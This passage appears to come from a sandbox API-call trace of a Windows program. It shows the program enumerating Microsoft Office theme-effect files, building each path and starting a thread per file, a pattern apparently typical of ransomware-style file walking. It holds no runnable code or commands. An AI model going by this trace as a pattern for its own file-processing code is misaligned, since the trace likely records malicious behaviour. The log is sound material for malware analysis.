Effects\\Hardcover.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" [0097.360] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0097.361] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d33b000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d33b000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x33892, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.eftx", cAlternateFileName="HORIZO~1.EFT")) returned 1 [0097.361] wcscmp (_String1="Horizon.eftx", _String2=".") returned 1 [0097.361] wcscmp (_String1="Horizon.eftx", _String2="..") returned 1 [0097.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd65130 [0097.361] wcscpy (in: _Dest=0x1cd65130, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.361] wcscat (in: _Dest=0x1cd65130, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.361] wcscat (in: _Dest=0x1cd65130, _Source="Horizon.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" [0097.361] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8 [0097.364] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17dfbf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17dfbf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9a7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.eftx", cAlternateFileName="MEDIAN~1.EFT")) returned 1 [0097.364] wcscmp (_String1="Median.eftx", _String2=".") returned 1 [0097.364] wcscmp (_String1="Median.eftx", _String2="..") returned 1 [0097.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1cd651e0 [0097.364] wcscpy (in: _Dest=0x1cd651e0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.364] wcscat (in: _Dest=0x1cd651e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.364] wcscat (in: _Dest=0x1cd651e0, _Source="Median.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" [0097.364] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd651e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x954 [0097.365] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5e35, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.eftx", cAlternateFileName="METRO~1.EFT")) returned 1 [0097.365] wcscmp (_String1="Metro.eftx", _String2=".") returned 1 [0097.365] wcscmp (_String1="Metro.eftx", _String2="..") returned 1 [0097.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd65290 [0097.365] wcscpy (in: _Dest=0x1cd65290, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.365] wcscat (in: _Dest=0x1cd65290, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.365] wcscat (in: _Dest=0x1cd65290, _Source="Metro.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" [0097.365] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0097.366] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd5a000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1dd5a000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa95d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.eftx", cAlternateFileName="MODULE~1.EFT")) returned 1 [0097.366] wcscmp (_String1="Module.eftx", _String2=".") returned 1 [0097.366] wcscmp (_String1="Module.eftx", _String2="..") returned 1 [0097.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1cd65340 [0097.366] wcscpy (in: _Dest=0x1cd65340, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.366] wcscat (in: _Dest=0x1cd65340, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.366] wcscat (in: _Dest=0x1cd65340, _Source="Module.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" [0097.366] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x94c [0097.367] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c73700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x80c73700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8e301, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.eftx", cAlternateFileName="NEWSPR~1.EFT")) returned 1 [0097.367] wcscmp (_String1="Newsprint.eftx", _String2=".") returned 1 [0097.367] wcscmp (_String1="Newsprint.eftx", _String2="..") returned 1 [0097.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd653f0 [0097.367] wcscpy (in: _Dest=0x1cd653f0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.367] wcscat (in: _Dest=0x1cd653f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.367] wcscat (in: _Dest=0x1cd653f0, _Source="Newsprint.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" [0097.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd653f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d4 [0097.368] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21692700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x21692700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8059, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.eftx", cAlternateFileName="OPULEN~1.EFT")) returned 1 [0097.368] wcscmp (_String1="Opulent.eftx", _String2=".") returned 1 [0097.368] wcscmp (_String1="Opulent.eftx", _String2="..") returned 1 [0097.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd654a0 [0097.368] wcscpy (in: _Dest=0x1cd654a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.368] wcscat (in: _Dest=0x1cd654a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.368] wcscat (in: _Dest=0x1cd654a0, _Source="Opulent.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" [0097.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd654a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5fc [0097.369] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24fcae00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x24fcae00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa8b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.eftx", cAlternateFileName="ORIEL~1.EFT")) returned 1 [0097.369] wcscmp (_String1="Oriel.eftx", _String2=".") returned 1 [0097.369] wcscmp (_String1="Oriel.eftx", _String2="..") returned 1 [0097.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd65550 [0097.369] wcscpy (in: _Dest=0x1cd65550, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.369] wcscat (in: _Dest=0x1cd65550, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.369] wcscat (in: _Dest=0x1cd65550, _Source="Oriel.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" [0097.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600 [0097.370] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28903500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28903500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9fed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.eftx", cAlternateFileName="ORIGIN~1.EFT")) returned 1 [0097.370] wcscmp (_String1="Origin.eftx", _String2=".") returned 1 [0097.370] wcscmp (_String1="Origin.eftx", _String2="..") returned 1 [0097.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1cd65600 [0097.370] wcscpy (in: _Dest=0x1cd65600, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.370] wcscat (in: _Dest=0x1cd65600, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.370] wcscat (in: _Dest=0x1cd65600, _Source="Origin.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" [0097.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c0 [0097.371] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bf0a20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x37d8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.eftx", cAlternateFileName="PAPER~1.EFT")) returned 1 [0097.371] wcscmp (_String1="Paper.eftx", _String2=".") returned 1 [0097.371] wcscmp (_String1="Paper.eftx", _String2="..") returned 1 [0097.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd656b0 [0097.371] wcscpy (in: _Dest=0x1cd656b0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.371] wcscat (in: _Dest=0x1cd656b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.371] wcscat (in: _Dest=0x1cd656b0, _Source="Paper.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" [0097.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd656b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8bc [0097.372] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x537a8900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x537a8900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x53af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.eftx", cAlternateFileName="PERSPE~1.EFT")) returned 1 [0097.372] wcscmp (_String1="Perspective.eftx", _String2=".") returned 1 [0097.372] wcscmp (_String1="Perspective.eftx", _String2="..") returned 1 [0097.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd65760 [0097.372] wcscpy (in: _Dest=0x1cd65760, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.372] wcscat (in: _Dest=0x1cd65760, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.372] wcscat (in: _Dest=0x1cd65760, _Source="Perspective.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" [0097.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b4 [0097.373] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x583f3d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x583f3d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbef29, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.eftx", cAlternateFileName="PUSHPI~1.EFT")) returned 1 [0097.373] wcscmp (_String1="Pushpin.eftx", _String2=".") returned 1 [0097.373] wcscmp (_String1="Pushpin.eftx", _String2="..") returned 1 [0097.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd65810 [0097.373] wcscpy (in: _Dest=0x1cd65810, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.373] wcscat (in: _Dest=0x1cd65810, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.373] wcscat (in: _Dest=0x1cd65810, _Source="Pushpin.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" [0097.373] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b0 [0097.374] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x845abe00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x845abe00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.eftx", cAlternateFileName="SLIPST~1.EFT")) returned 1 [0097.374] wcscmp (_String1="Slipstream.eftx", _String2=".") returned 1 [0097.374] wcscmp (_String1="Slipstream.eftx", _String2="..") returned 1 [0097.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1cd658c0 [0097.374] wcscpy (in: _Dest=0x1cd658c0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.374] wcscat (in: _Dest=0x1cd658c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.374] wcscat (in: _Dest=0x1cd658c0, _Source="Slipstream.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" [0097.374] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd658c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a4 [0097.375] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e861600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2e861600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.eftx", cAlternateFileName="SOLSTI~1.EFT")) returned 1 [0097.375] wcscmp (_String1="Solstice.eftx", _String2=".") returned 1 [0097.375] wcscmp (_String1="Solstice.eftx", _String2="..") returned 1 [0097.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1cd65970 [0097.375] wcscpy (in: _Dest=0x1cd65970, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.375] wcscat (in: _Dest=0x1cd65970, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.375] wcscat (in: _Dest=0x1cd65970, _Source="Solstice.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" [0097.375] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870 [0097.376] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32199d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32199d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.eftx", cAlternateFileName="TECHNI~1.EFT")) returned 1 [0097.376] wcscmp (_String1="Technic.eftx", _String2=".") returned 1 [0097.376] wcscmp (_String1="Technic.eftx", _String2="..") returned 1 [0097.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd65a20 [0097.376] wcscpy (in: _Dest=0x1cd65a20, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.376] wcscat (in: _Dest=0x1cd65a20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.376] wcscat (in: _Dest=0x1cd65a20, _Source="Technic.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" [0097.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65a20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858 [0097.377] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bd2c400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5bd2c400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa14f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.eftx", cAlternateFileName="THATCH~1.EFT")) returned 1 [0097.377] wcscmp (_String1="Thatch.eftx", _String2=".") returned 1 [0097.377] wcscmp (_String1="Thatch.eftx", _String2="..") returned 1 [0097.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1cd65ad0 [0097.377] wcscpy (in: _Dest=0x1cd65ad0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.377] wcscat (in: _Dest=0x1cd65ad0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.377] wcscat (in: _Dest=0x1cd65ad0, _Source="Thatch.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" [0097.377] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c [0097.378] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: 